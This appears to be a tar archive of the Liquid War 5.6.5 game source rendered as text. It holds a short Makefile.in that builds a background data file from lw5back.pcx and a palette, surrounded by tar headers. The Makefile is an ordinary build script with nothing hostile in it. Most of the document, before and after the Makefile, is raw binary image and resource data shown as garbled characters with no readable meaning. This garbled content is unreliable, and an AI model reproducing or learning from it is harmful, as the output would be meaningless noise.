wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww{wwwwwwwwwwwwwww{wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww{wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww{wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww{wwwwwwwwwwwwwwwwwwwwwwwwww{wwwwwwwwwwwwwwwwwwwwwwwwwww{wwwwwwwpwwwwwwwwwwwwpwwwpwwwwwwpwwwpwwwpwwwwwwwwwwwwpwwwwwwwwwwwwwwwwpwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwDISPLava FlowLISThINFOISBJ\Nature in action 1993 Interactive Publishing Corporation. All rights reserved.liquidwar-5.6.5/data/back/0000775000372000037200000000000013407756104014752 5ustar travistravisliquidwar-5.6.5/data/back/Makefile.in0000664000372000037200000000121513407756104017016 0ustar travistravisALLEGRO_DAT = dat BACK_IMAGE_NAME = lw5back BACK_IMAGE_EXT = pcx BACK_IMAGE_FILE = $(BACK_IMAGE_NAME).$(BACK_IMAGE_EXT) BACK_IMAGE_CONVERTED = $(BACK_IMAGE_NAME).converted.$(BACK_IMAGE_EXT) PALETTE = palette.pcx all: back.dat back.dat: $(BACK_IMAGE_CONVERTED) $(PALETTE) @rm -f $@ @echo Creating $@ @$(ALLEGRO_DAT) -a -t bmp $@ $(BACK_IMAGE_CONVERTED) @$(ALLEGRO_DAT) -a -t pal $@ $(PALETTE) clean: @rm -f $(BACK_IMAGE_CONVERTED) $(PALETTE) *dat distclean: @rm -f Makefile $(BACK_IMAGE_CONVERTED): $(BACK_IMAGE_FILE) @echo Converting $< to $@ @cp $< $@ @../../utils/liquidwarcol -s 0 46 $@ $(PALETTE): $(BACK_IMAGE_CONVERTED) @cp $< $@ liquidwar-5.6.5/data/back/lw5back.pcx0000664000372000037200000103647213407756104017033 0ustar travistravis ,,+y+$(xg9x(n2^S(xg+$¡|(ng$gx(2g$(xg*yS5$nx($^+++W5W+^+S;($S5$(n5S5n$%x$5$n5S5SSS++^J^cflfl7hflhYtJX®t+y+52nnO|($ng^$g$+5xnx(g$5(n$n(5S*5S$g$n(($^++d$5S++^++|+S(x\+g55nm;5(S\5(S5++^^;O^ $;%MkKUPԭ& OQ{1]U?U[M{J{JqQ8''@¯:-U,_,vDœDDFPv?{ޑvFPుFPR܀܀܀íāR±RR±RRRPRRPRPFМFIFDUڎ []"pAUvڲUpJYpD_D__UUŽU_ ]["U]p-]1JpXYhYXXpJY4Yf4fflhlCl®lfl®lhlflhYYX8YXXY847+5gg$2|($(2+d+5(9$(xxg$55$((n$2(5y*5$g(nx(Sǒ^+S2($+y^+\+;S55\+5S5$(xn5n(g5S$\S\++S^5+^\OQ;(5$O;{Mm&PDQ@::"U[:{)%'qz@'@:p{?U?UUDޑvFvFPIޏIDDDPFÑFPPRRP±RRÀ܀܀€R­Ł3­RR3R୽R3RRRPPRíRRPPRvID[-[-[U]U_UJpUU[[_ތFvUU ?ìUp[-[U]JYY7JJ®lq4flf.fhf44hlfl®flf6%YXshYXYk4t^Ηnn5gx5ng5++y+y$(n$$g(x($g(n5gxx5g2(xg5^\+^^Δ5+++$(xigS5—5\+SSng5gn(ng5y\++\+\^^|\O:|; cq(tDDvD{@T?e{:-: {Q)JQJ´-"U[UU,DDޏv‘Ĝ茏vDޏĜP‘PR3RPR±܀­āܽāRÁÁBRRƒܽܽPRRPRPPRRRFRv_[{p-p]7_p[U-]UF1[U][U?][pU[JwJ784hlfflhY.lffhlflflhXYh4YXX6Xt®th4l4l4^+Sg(ngx($5S$5SSnxg$gnx($5W5n(n(x(+5$n5g(x(W+^^S++++\+gxg5555S\+5n5ng5gn5Sy\+++^+^^5^|#ng5;@ Q{"ò_){J-U?U){1:)%t%ۧ;@%{:"-"U,DU"U,vvD=vFPFޑPDRPRRܭRRÁRP±ā܀±Á­RP܁Rí3RñRRRPPFRPDDŽ_£[pp]UXJpJp[-][Uڎ[U[-[-[][ppwX[w؇7AXhlYY7hfClflhl4llYlh®f.lY]XhYXYXخhYîl4^^yyg2(n5(x(2n$55n$\Sgx|x$(x¡(g5y5g2g5gg$55$(g5+^y^5S+5S+^+yxg55++5nS55S\+^+^^++^^^+^+$OSn|@ <K?``jM"ډ_Ϭ){{["U[p::wJ88<4kQ;Q:]]"eDUD_IDDDIDDvFPFFRDvD=R­RRPR3PRPRÁ܀3­BŁ­ÁíRR±౭3­R3RPœRR=FPFD_ڲ[]-D_[Y-JXJ[]p[U[ ]1]]UϬ][?_[]7X7XJ]7XY®XhY7XllfY®lhslYYfll4f7YhY87]خtYhh®4^+^y5((gx(n(g55S55S52x(g(x2g$5nx(gx2*+S(($g5^^^5Sy5+^+5g55S5++555S\S555yS\^^+^^ο+^^^^5©@+^|; (x#[jM1?D_[""U[1-" "[䨯J%t<{U{J)UDv,_DDD/œPRRFތF=P_vFRRPRRBÁ܁R­Áí±½ƁRRRP3PRPR±PPRPDE][7F [pp-]Jp[²p䲎[[7]p1U_Ž[-[][wXwwJ7YhY7XYX6hXYh®4lflhYŮYXlYYlflYf4îYhYXJ8Yh4®h^+y+5g5$gn+++”(x($(g2g$55g(2(2+5$n2g$+\^5S5+S5S—\^5S\—55S+Η+^+\^^^+5\^^^|nQ;\5n|`?{YXY6X6YX8sXYX4l^+*S55g2g5$gi(xgS\5+52x($(5g(2(g$gnx2g55$555\^^5^^y5$S++^+5S5SS55+^+5\+++\\+^^++^^^^+^^(c#+^^+$(;<t;Q@@t.;c]J{:)%[J'@8%@#Csô%{_D[-eDID[IDFRvFPFFޏÏFRPœR­3RRR±3uti$*ĐH$ߛq81uDFRRR­Rୱ3RRRPPFPFPD²DUU[:wp[Ž_[]׆]1-7p][UĎ[][pYXwpw7XJAXY6wAXYXpڲtXJ18lfhlhhh.fXYYXXYX718YhhYh5g$S5$—((g5++S g|xng$5 g(gn(25(xg$5$5$gn$5\^^5\^+S5”55SS5$55SΗ+^5\Sy++\+\+\+^+^^^^^+^їKT5+^^\$;4;sflhlf4h^y* r+d^^*f:<(Ò^^(@{NR:ƶdr^|ng2|l#|#x$(ixg$yg($g5n(n’şH0$”$g*(g0figSdֶ֐*$q$gyştevcO+^n+r(vœDU{#gdglx(i$rWSrŸ$ygi|44|n$$gg$T":*y+^+$$g$D($@J{(hx$(2i@x$2gؐgi2gy$ig.|4'شPFDF[]1]-[[FvDFFvޏÜ-[U7pXYhYw[JA4hXXYh4Y4®l4lfݛf.44qf4®lYhfllf>lhlhyW+^^^Ò$$i4Y]@+y$#h%J"UR­iy$g$^n$+xng(;|<{{X4yŐ$g$gS$5S+^+(|(+$$gyg$++$^+y¶r$;|$+y<|($y+Ŷ^i$$(D3RN%$Q#ig ֐$Ð$$Sg|4®'Ql|$S¶ySgM${y+’+y”g”$y+$|<(n(:{$ig'f@($($nߟ$ygx(##4@<4lPFPvÑDDD[-[ [pPFvP?[׬DFDU[]7p6hhYp]XwJ6XJhlllhXpYlhY7wX4fh4q.›fݛf4khl4hY4®hYhYlhtlflYY^y++5y^ǒ^^’riq4.xlU,DÑFœRRrŒ’$S+#rgx|ծ;2ygnx|$g(g+yS5S+d^Œr$r$$gyg+gr^ǒn{œŐSrr+d+^g$gϜu:+5lt#$+ng$g$g$$$$g$gagg(x#g$֐$Yg$5nJ$^+r$0yrg7[+5yxi(g@$$*g#$$ixi(ii$|#4'ص@PFœFFތDvDv_DމUDFDڲ_ڲ-p]IP_X67pXY7X7AYwYlhYYX7sYYlf®lfhf.Yh՛lYYh4YX6hhlhYY’^+$+^ǒ^^Wgixi2g$44XJpU?U?Nt+d$+ǒ+nq+d$Mu%n|##.igyg$g$Sǔy+++r$g$$gyÒd++nMvg”r4t4lf2’d+^nS$OgS$lY:Ji+$Cii$gi$$$g2 $gg2g2g('|+$r$%${#g5@++^^+’g$$0{lflYX^^^+5$y^d^^+y+^y’^lhYX[Uu?U[":{|g$r$*dd’+5g^SUu84;|”<@2$g5g^("[i$g”+dd+g֐r^g+{]%xÐg.gg$++WSr+^^$(X?D{g^^Ǜ$gi2xgաƐ ggyi$$yx#fx#J@ig0(g$Ր5(4 yghy+ђ^+’dǒ$)UgvK|۩(#xn($gx|Q(4g(i$l$xص4|'4@KPFD_IDD:pFFD_Dv[jUDR_[p7D[U[p7XJ]YXpwhlJXYhYhl՛®4flYlfhXY®hYsYh®hlf>fl®YX^’^+ygyђ^^^’+$.T{KTO++5$n(nrߐy+嶐’$ǐS+|v[Jh(:lYY^+^+y5gy^^+y+^^r$(ixigg||2g(|KU`xd$y+$$$%T{pS#:#xx$+gn쑉՟¶yy$ggyrS¶ry^W+++ @¶”$$r$n#@yǒ’d^g~"nђ0®q$.i4*2#g(i2gix($.$xyxh|Q@4<{%(i2W$gS+y|+S*(y*$xђ’’y-U"gn#Z@|xh(4|gl4JQ2g$x4@%KQM8%g"PŜF茏FIF?.'ߐ®Yir4Y1]?_D_ŽD1]?_[[X׬D]h4]Xhlf՛.lfflffhl՛.flf՛h4XYhYYY4lf>Cf4hY^+++ygyĒ^+^^#l#f|gi(ixlh@{p:[?,,DvFPcr$+ǐy++(gS2@Jt(S(%.g$$+$(Kl$ryy+y$g$rySydkS^+SöS(M$Y$$2@fg+^d0+^gQ5ђ(@i$thxhg5@$|.x2*g|$#g@g;#qꮵ**֔yi^+S+y+$^ђ++$tU--U?2g.{J@:|؋(%(|Q#tg$g@Y@{®@(MDPRRFFF8x$$iYri4l0HfYtpU[D]p]pw]]wXY7]YhwX6flhYYhf4f>lfhYl.ilfݛl4YXYhYJYf>hYXyg^^^^^ǒ^”$g2ix#4Į4|4l®Y8@J{:?8gSyyr(J$$||ngxli$x4yS$$gՐg[:yyy++’y¶$grSgǒdC+¶i$(i(inx@Yy+d+^+’5WђiX@xJy(yY|+gg@ٴ(x|.2#|ll|$@$'@4ة(SrS++2+y+ǒ+++S(p,U-ޑ|xntu@#Xx|l#'2gi#{'Q|{(uRPFFvDvQY$®HiJՐYhY4Hhl4i0XY4fYlfhlY77XJ6lf4YYff®lf.fY6Xf.if4®YhYwJfff4hX^+*ǒ^ǒ^^^y4®''@'x|xig$i$ay+$+drş.$g(5<~uMx5gx#g$Ր$]hrSy++^+Sr$g$ֶrdigd^+y+y+g#$ Sxxi(2#x^^^Ŷ^+^S+gJnxX'(|xY$$x(x#55@$|Jg'@|l%©(n’+Sy++iyySi+^+y0$U,[U_vM|{(Q|M(Jꩧ|Rn;ا;(Q{xMМPFPDPJgYgxYYH4XخflYhYk՟خfir.tYH$iiHߛJhY՛fYflhqlfl4.f87pY›ff՛flYYYXYhfhlffl^++S ǒ^+^^+ygnix|#4@ˮ4##|x(g$g(g0+$yy+$rSDg$(nx|5[T'fgHS$S$M|g$|J:*yy++d+ySö$^y+d^y+خryi.l4qfx2g$ghƒ+֔2r]K@(#y4#$XYh^x@(M;x$'#|($%(|;%|%ծ+y+”+^y++$yg++$xXU-:[_- _/:g)Q?k@7 =RRڵ#@Mg{PR­FœFFDvv$Yxg#$1p{i*ls7J.H8X.iY4HX$.ig(2g(gigߛh׆Alfh6ffilfi.fl.ծYffflYYX6Xhf>flhYdy++y ”ǒ’^ǒ^^+|xxix|#4|44|n$$nK~e:$$y$rJn{n$5(n|c({t4igSg^$gg(e(g${y+y^^d^’+rySgr+d+^+|yr$2ih#x.x(gn$g5$’+y’N|J|{g#@S(:x+@Kx{ig2®$%(|XT|8<|'ђ^y+++$+r$++r*yg%)"-)Dò:(iJgxJ)(R­=UT&PFRFPĜFF_Xl4$'[:liJ]pxiJ7.H4sJXh՛YYlilg$g$ig(g$(gwXffl4YXݛiHf.iHC®l՛ff.flhYXX6XXJhfflC>fl++ǒ^+$dy+g|q4l|(+$%:ZU?ںJ+g$+$(Ptg?|n|n(+@vMx|tJX@5x{$;{@gyg%Y^+’dd+W*y^^8Sy++gYf2g(g”yC0yMX;JJl{5SX%$Xx<(h@%|8sKX`ꮬn|SĒ^Ѷ++y+y+Sr+$ry$iJ%p-,_U__/:(®gTPు±RRRPRPRv蜑FFgiJ#8$g[ںg1U:#ip]pJ.ƛ0Jlƶ4J@#$4՛f.ffC.f4t6XJpXlhfCCfld^* *y^d^+y++(###|iix|#fll#xi(g$Ðy(~xycP{gy$K{n+JSngS(+xiՐ$#gJ$g(Ji$S+@^^+^d+yy++ђ+^+iy^^ii4hJ2y+g$¶r֒’^Mx;:|M|tx@$Q[M:Kf>flh+Sy+d^y+’^+^y+^^gy¶|'4îxxi(g$vxnR.$?|p$;|$SxSx{Jtx$+gx$@¶$5۶*yy(hg^+’ǒdǒ^dW$$+^+*|+^+dg+$f8J@+g$0 HrdS|5uK:vK2@iꮧf|;:(^Ē^^’^^TϺ"U_/DI/DIvUp6:"U",IDFRБRRRFPRPRPPRœFvixXhg%xr#@%l+^{DU{4$uy*g+j[{g$Sؙ@i$r@$gnggxg(Clf.fl4llYC.C.lf4Yli՛4XJ]pAYX7>fCf>lhY^+S0y^Ò+ђ+yS#||xigngxix||||xn(ngngng$n$n|8nu_4Sx+x:$xy`$(|S$(gw$yS5$¶+ry(ǒ+’++*+r++^^.+^^+^$+iծׯѐg $¶d+yM(x4(e$+^’5|4M$4T|+Ò^+^ÒS{U"D_DޑPF޲w%X7U-UvRRRPFМPRRFPP{$2g#*$gD{#y#D{'yy+(D:%g+2[?"4* yg#$%;$(2(xixgigihliflf4lC4Xh.l.46Xl.lfY8XppJhhf>f>l^^W5ǒ^ђSy^g$gi(g(x|#4|#x(x;x(2($nOSO5()'+(Ox"Q^©5Sgi@4y+S|y+S|yxi^Ò^^+Sy*r$r+W+’ygilY׬گ@+g$$$yĶr^gt{$g{vx(^^(+^Òy ’^':,"U,/DDPFv_E ׇUEp)"DŒޏPPFœFR±RF±ÜRR3FD.gYg4y|Py’yD)4d^e+$^?)$Q{gy|ix(xg|gi2igߛYC4hlff>ltCflf..Y4f>fltlifY]phlffY+ǒ^+y^’+’^+yy^’”2(g(gx|##;##($(|#q|x(5<+5Z;`gg{:S$Nn#K:g(Jx|ySgy i+’+d$$y+++^^ђy^^+r$8[@($(g$$$ySr$ÒS@i’^’ĒÒŒ+*+^^+y+nU[DP vPD-p: ²][ޏFIFPRvFୱRRRPRPFP(YhgkնQy+@+ϝ,’^fCflY^^+y’+’^+g$(|(i(#|4x$gM|#|xn"NOѩ|@$ѾD^+#y%S(x@Yxr++ySy++i+’^’+rg0r$d+rÐ$g_,:@(ђy2gr$r$y^’’ǒÒ^Ē^++^^^+ynU_ޑFFIFPD-:"[ ,DFvvޏRPRPFRRPRv$t@2|*g$嶨yD@y^ѶD۔{:#^#+(+{֔|ggxixxgƛllh4hl՛fHߛ4f®՛fXh4YpX]AXhYhf>f>CCflY^5+^*+^+^++yђx(g¶i4l#|g(xxTT#(<##Ր^eOv$"^#(Ѯi|(1x(@i#YY^+g^++Ői+^^+y+$+y+Ѷ++ŶSŐŐƐgxY:?D?{x$g$g$y’Ғ^’^ǒ^^^y$@,v__vvDvFP_-pJX-[EIeڲDЌvFRPRPRPRFPPg4i$)lSyMx2g%ycRd('SU$'xg{|xii(xg(g(lfl4fCf՛.fllf.4.4XYJp[]7Y®hffClX^+y+ ^y^++y+rg#g$hgr$(KgK4|+"n^cv&(4gv<+lryxg%x#+y^+*^2+*+y+yƶy+S$d$+$+rŶ+r+yrS|l(y{DU@S2gg”yÒ^Ò’^+^’’+S)U,/ޏ_DvF‘E-:pJUuD_D_I=IFœœPœୁPPg#JՐ'+^|Mg^$[KRN)dxN2+’+'gx(ixinx2i2il>ll՛f..fl4fCCXYh4tX][p7XYlf>CC>fl++¶y^++^++ђi|xgry(#gx|${###4|^^Rn$R(+h$[Qg$x@|i@gYixSS+Œ5ѐ$+y++ş+y+r+ryy+^$S$$gQնMҾxg2g$rS+ҒÒ^^^^’’^^^+R/IޏDI w:UD_,ޣ_FFȌޏFP=RR3Rx@iJ4ؐ+x:S+;g{e^$D|T,xux+^++(i(|$xgx(i(lf.YlhXflfC..4lhfl.ٟf8YX]X77llf>CiC>lYy+rS+^+ֶg4f|i|l{x|Jx@'iQ$g{^y@Rgy|%[DFU(Cx{_Dxi@%g4%(%g++yђdrŶy+y+rS0+Ÿr+$Ŷђ$4#(x4t2"F&UQg$g$+ǒÒ^+^5&/IDޏE %:[,_ڎD_F_DĜPR­FRRPgYgln$϶g^ |nǶ{g^@v%^:x+xgxggxgig(ihfCծliCf4lhYfClhJ7JsX Xl6CC>lX+֐y^^^+y^^i#|xghX%4($#@txQ|#x|':vu5gD$@{UDכg%UU4iJxxh8k+y+r+Őgr+S$f8hx(@$U&M$+g(2g$rg+^ÒǒĒ^^’Ȓ^++MNFFvFv,-Aw"IvDDvDvPFFRFRñRRDޑR3R3$@$صr*x(^T^FSe{$Q&:e’(:yxg|gxgx(xi(xC4hf՛..ff.fhf.hl6sYfCěflhYXXJ7AplfC.ilS’^^+^+ђi.lh@Yg'@|2#l#|((i*:vD?2lUU¬{igxJM]{gX{lg$+y+yŶr++ri$gx4t%X'՟xxP޴5$(g$g$’^’^^’^^+* ^ ρPRD_IDU[- vDDvvFFFÁRFF­P(4$gr%ǒ+M+g|Dxl4Xdg ^^^^^+i4Ytng'@$|xx|ixg'{[U@+4?Upf2|Y7{Xt4ِgf%Xh$X8xq$^+^^S+2®l#xiծ%@($|:@S^2g$gҒ’’’+^Òǒ’^+y+$TDڬ]I_D_E )DvPFFD‘R­í3RRR={꩔ig+{y|ynN+T#$(i(ininigxgiߛhl®fJ7h.Hl4l4l4YX6XJ7wAXlflCi.flX’^+yg^^’^Ѯ4g4YQ|@(gt2|$®$:7Yן%Jfi4XYrn.4@4l.$Y$x®W+S#Y@#iQX@|$v;+Sg2g2(gҒÒd+^^d^^+S$yyޣplfl׉7I{UDޑR±RRvFDURܭFR­Rœ f$4g$DTi%ϩ+{g^:yd2gi2xgggigig.flXphfiCƛ.fhYliflhX6XX6bfCƛlXÒ^*g+^Ò+^$g#t.$ t$Sh|gg#$@ixY{JY8lhYXhYiW$i(^+Snr++Wyiծ@X{@l$q(g#>ClYXyg^^4#g(|g'|$|i4xf@Y$i.4x$ǒ^ǒ^Ò^$Ő$iծs{%@#(($#flfflYX6YhlCffldg0Œ^^^ǒSr(xrՐ(#g|$g|2llrd^^^^$$$Ÿ$gi:?M5+c((gd’’ǒ^’^+yg)e&"-/I_²DIޏ=vvFĜ±RPޑFP=‘P౭RYi$@@x{^(D^5M^MxKϧ<$^5(gi$($(gngngihXhlff.lYhlYlCllhY6Xh4flfƛflY6dǒ^y$^^^^ng$x(xgr$(r++^’’^^rٮ#i$giC>fl*+5$*^Òd+5+dђ^ƒє(g4gi$$gi2iծ$(|ô((ng$g’’’ǒ’ǒ^^+yt)_FގEUJ@폌ތFDUvPRDFPRƜ茑F‘PRPJYtxgx+gc+$n$K<5fY *y+y$g5y^^dyђ^Ògifնgx(¶g(x2|4@|y5g(O($n$5$gĒ’^Ò^+ y<4|PF ,_:J%׺DUDv=FvFଡ଼F±F$4XnՔ:SǧS|ы(O(^{<^<nx(n(($i$i(gi$iCXHlfq4Ylf.›CflYXpX6XYlf>f>f>lYXg$+*¶y+^y^’’#|h#|Ů$lx*2gii(x$i@|ng$S5ǒҒ^Ò^^+*y+(#.T{%6ڱFj{DD=޲U/FvDޑRFFvvPD=DFRJqJƔ(':$(+(O^<O^SK+<^;$ِ(((g2iYpخC›՛.flif.YXpXJw6l>lf>ChY5+y* y+^^ђ^Ò^+|($fxYntygx֔2ixi(Yg|'J{#$5r’’’’^^^y+d+Ő|xq:p%)Uމ"[DŒU[U,DFPPFFPFDDFvՔߟSD^%++r|5n;$xnS(+y^yngƐƔƐ(ٔn$YlCflkCfllif4hYhXJwAhflfCilhg y^+*y^+^^^^+y+^^’Ē^|{@@]gSy|x#2յgt%tJ|^ǒ^Ē’^’+ (|(g%])_,D_D²IJ)-DÑvDޑFD.$pxx%M|n+^$^$n5n;+n<S#+ǶgngngƔ$gծlfl.C.ffCflhYYX6lflCf4Y6g*+^+y*y^^ygyǒĒ|Xt5#[+5%g#ծyi#x|ۮ#t%.fff՛.›flYYh6f>f>h6*yd+++^ђ^^+^g+^^^^’[ih8[@i%@+($@%{8M<$’dǒ’^Ē^^+$J¬]¯-:[_DU²U²vD [-D_U_D_DFR3P‘]x:ln++gT<+SS’5+$+S^;5nS$*(ggni$g$.Yݛi.f>›.>flf՛ffYX6XAw>>lhy**’^++y^^^+ђ^+5^^’5ϳ$x$Yi%{@xµfƛf®Y6XJwAwlfl>lYS^y¶y+^++^^’’(Ư.Dn{(;4J4J’^d’Ò’^^’$[J:U:%:U" [" U_[- [%-,U,v=ÁR3RFR謮Yip++|<^<+Sߒ0ÒSySÒnS(+|^$g+(’$gggg ggH՛ƛ4h4lllhY6Xp7Xf>lYXy*ǒ^+ΐ +y^^ǒĒ{genxu%xt%|Q{|S+’dǒĒ’dǒ’’`{:U":"ڲ[p:ޣUUگU_D-[FPRvR€RPF_UF/h+{4^%x;$^ydÒWyd$ydg^(Sdr$gnggg$ifHClfծliƛfhYY66lflh+*^’+y+^^^+^^’’OQ5r_ng {(|('#W+ǒŒ+^’+$;::_D_IU-___,D_?[-URDvRDU[ DlJx"^+S(5+ǐ0+ǒÒ^$S’^nSŒi’5’^g$g$g$gg$g$i4hHi.flhlfiifh67JXYhlfh^+SÒ^+Sy+^+y^Œ(n$ђÒ^ǒ’ǒÒ^+$zQ%U,ND["U_DI_I_DD"- /ЌD_DFv_DUDlwxg?;@@WS0yydǒ+yÒ+y+dÒg+^$gyg$ilhHflflf..›iXJYYh6flflhh+Ē^++y++^ǒ’’^’^+^’^^W$g)J"U]?vU[DU-UDD_DD_DDŒXi*@$x’|Wg’+gyd+dǒdǒ0ÒÒSdÒ$^+$grg$g$g$giHl®tYl՛f4YX6Yh®fl^++yђ’^’’^’^d^^+^5{4թw:)JRU"-U_?U[p]J7DUD_DF4p(D%++%5%^g’r+ǔyyd’dyd’S’ǐĒŐ$gr$r$g$$iCHߛl4Y.if.i>lY]A6h6AYffY^d+++^ǒĒǒ^ǒǒ+Su'@%7][v["-[U²-:p]--" UvޑFPDD?UF:i] DM+^^y$Ŷ*ǒ0d’’ѐǒS$g5ggr$ggHftf.CiÛC4Y7]XYhl>f>fh+^’+^ǒ^’^ǒ’^*Œd+++$x;Q%{-"?v [ ["-p"U"[U[pFRFD__,U.$1[4d$y$ßa0d’ֶ0ǒyǒyd’0Sd’ǔy+r”$$$$g$ߛ.HtC.iƛfhXpwXJ6Yhlf>f>ffl+d^+++y^^’’^’#4n5n$(;:¯J"[U"-U[-p" U[[":D=ŒޣDjlft:U?y(^($$^d$i@'d'Qgd¶*0d*dryǒ^¶+dd+d唶$$$$gg›ߛ4®fHlffYXhYhfl++ǒŒ’^ǒ^+5y^’’Œ^^^^x#*d+w{p]["[ [-U"7JU-{U‰±RDޏ48?{DS4Sg+S’Sr+dy$r${$[gdŸad¶**d’+rd¶+$+$rS$ߛi..lCƛHif4hYX6hf>flhd+^+d^ǒ+Sђ^’’’d’g’^^+ǒ^dydnCflht’Ò’+d’^’+^^^’ǒÒ^’’Ò^’+^^++n@(^^5%#'6:pwp]UU "]-¯-)][U[UډDvF_:g#^ǒ@r$^SrrMU$KR]ir먜3RDƟrQRԜN{f(©t$$gߟr$Ÿ$Sr$$g*$$ٛCiHHrH.XYhXYYAwhfC+ǒ’^^5^+^^’’d’d^d%+#- -):U_ - ¬-p-U:%UUUeUDvqY4 xDՒ|i’+$(gS,inD$nR.$`Rr+&RPvq$Z ex0$%$i(rr$y$S$r$$$giÛCH0C48hXwYX6h>fCf®+y’+ǒǒ+y$Ē’dǒy y^5'gdǔģ_Dv_[pwp]-[)p_: D,-]p:_D_DvFJiYJgD,#(^ǒ^S+ߴ@ nk5nl+2gy+dǒ^^’y”’’dǒd^^’^^++++$2yU" 7- U AYJ-U-J,U"-[²_މŽg%ynSy+S+$5KNg%nv$ڑRFfS3fWOMv&RJ$(uRrgQeR?4$cD$gn{4ihYhCH4.lhwhbfCfl22+++ǒ^ǒ’+y”ydǒ’d’’^+^^+y|2y$41-Dvp-Jp-, ")XJDD[__-,Žt.J]{+ڜy`r^drМg;D4gU#5ZD3:4SgfCflgg+^dW5+’ǒ’y+d^ǒ+d’^’+^^Sx%$nO-"-J[" UpAJ%{D_U"- UDD["-]$"Z৒{|^S+$.iW`P.$ZMSguRpnϑ#$(TRP_gS$Ruxg?l$Sr$5(g|ծ#(4x4xx4fi.ii67Yp7Xwf>flyg2ђ^+Òd’+d’^^0+2:)%JUD-"D_-ʢhp- [-p%]XJ7[Up-UF_MUp+)^Qǐy$(:%5%i@#%$FR#5?R]l$5DFR].yS(TDRfyncvirS5nΧu(gx|g@lHCߐiXJYJ7J7w6hlff>f^^+$yǒŒ++’Òǒǒǒ^dSg*+)",-:"eϯJŽD²wwpU:%Y]JU]Jp-U_vY#gl1uJ^&#y+He휺n$M:nї@RF]YS5D׮$[X4iޜR8ՐSRFUkgSSr$g(S@@ng(SM2g(g#lH0CC4YhYXlf>f殒+’+ǒdǒ+’+ǒ’’^’yxi2y+y*0gۯ-JUYU[U Ap-¬%U?U[p7]U[U$;dyyDv$5D$e{n|^vF[#+JPw#@`ޜRv:l$(Sg<4iSglY+^^’ǒ^+Ēd’y+yy+2y#%{z)U-7[ E {)Dڬ-":U_ڲY?@ђ(++$|ex."?|$h^Xl+?JxS:U.nn(S(4n$5$5ng(;+:@$cny"(xg촟$g@ifCCf.ifYsYXJXYlfY’+y+d’dǒ’Ò’+y2 x|gS+2@wA%'#nn䲎-p[_£E--¯pU[]p{p-Uhg#Ϯ${^<rM$KDڮ5h+@FU^vPF[Xv]$n$œ׮x$5;NDÐ$ng^#:i|$gtg$lhՐծ>f>lpJY7wA7lfl^+yay+^^dÒÒ^^’ǒyx|#ˮgy++(4@2y0i@[_U£[{p "["-p%XpJw"U-" 4@Xxg|NSy+$@ȋ{i|pg$S@+(ޑX4^^Џخ+^DPx5S(D&l($5@[]hin$ng(5$gOh)@n^_$yg@l$lffhYCXX777wlbYî^*+^Œ^’dҒ+gg@%@2Sygx>#g$:eU?DD-Up:-%@%JX׬ [-YJYgn,#u(ǒ+yg`$g?#g5›ifXJApJhYhY++ ÒÒǒ^yҒ’Ē02x++5(SWi|gy*W5$gJU]@4flh7[ -][eUpp{J%"UD ڲ-]qJgvՒK(’rS|v%$1((i+@FڮlJh+vXϑY$v5;$(g|M$$yKS+{]'$gl@lfC.ffl4J]pJĮhYǒyƔ^+dǒ’’’ĒŸ ǒҒSg#y+S++S$|w:J@-][UDJwU- _UX SD|SxÒ$UՐڮ$h^:rx%4l5Y$U^ެhx||#@+Ѩ"(ծ#,Q7#$llf.4lilkq7-J6Xhl®hY^g+d’ǒ^’Ē’Ē^+y yyyS*5+r$d+Sit]"JX6p{Uw6Xp"Dގhkr^vxn$’W$ll4hYX7-[-]7[U׮pJhhlfp4՛7X8UDU7p7Xڲ[7XY4fk4hht^+S^’^+’^’^+gx#g'$g:¶T{xSؐhy2y"+x5+r|%y+lgxgS+nxi|20i’(u(@|~.$M2glg$lgni(g$g|4y#$($ygxy$|¶|ygSx$g{|{yyS@({Shx#r#$ig2igi2#gx#iggվ+{5Jyg+(*xx#g+^y{ǒ(++2նgy 2++ƒd;y $+d^+Sǒ+++dÒ+i(x@g@y(|$|!eQ$5#t#|x[|#J[y$ђǒyg.’+$hXhAwhlhYlp ŒD]p]p4tp7YXhfs8Hi.7J]wwJ7[U[XYlfl4Y4+S+ǒ^^^ƒ^+g|$@1@ֵy@ (2+$r{|Ő?g+g吺g()y(gg(g#R{Sǒ|v@u:+@+<$g($i|g2ggxgՔն(+#xg+nx+ig|gxySՐxg$g#r{y%'y{g+(h|$xg(i$x($gx@ggg|(#y{y'ig$+gg+^#{y^+#$|$g2+^Ēdd(",’^dd^’g# d(i(@ghyi|@lnr@44ծ:|UђyY{d^ǒ’idÒ+yrhp7flp7Xh7DŽ[U4Y]wXY®4h®fif׆8X7w]w77 p7wX4fYhldd+++’^ǒdn.x$Yg*gyq#+$+S?(Sg%x4@+)|+|+{x+yMg+xggSgi(i(~x^r(f.4YwJX†p]p7JXJ7X7][E]p7XYY77X%YhYl4l^Œ^ĒÒ^dd’^2x({{::ђ|*^+({^$i$gx^gigi(g<^c^|$xǐg*r#$gig$g iyg$5ѐy+$$+r+$$$++$y$rg$:^|+yr^+$+Ƕ#(ix$g$g|gix$Քx|*xiSyixyiyx|+^^+(y^gS^є+S+g+’S^r$g$ÒÒdɒǒ’dd$gi(x+2$(2+gx(<$S^ŐvK|$yy*y++^dyrdQPRFFv²]h1]XYYhl4flsYp]hhYXp]1]J][8X7יXYخ.^’’Ò^++dnn<(e+$5:^c5T^y$K^@i22i2(yi2gx$K{|++QS$Sgx(ig$n$gg$Sd+$d+$¶$$y$$+y$$('^<^S^|y(ixg|(xgՔxxxi(xy(y(|+^yxǒ+nSǒ$SSr+$+^S^$y+gĒdŒ’Ē^^dd$g(iy(+n$i(((g^Q$+4PRP:$5Sryr***y++^’WH›.ߐ’dt=RPFގ]ppXp[w7YYhYlCƛqX7iCfh][uJwp7Dp]]8tl’^Œǒ+++++dix2#|yD$# 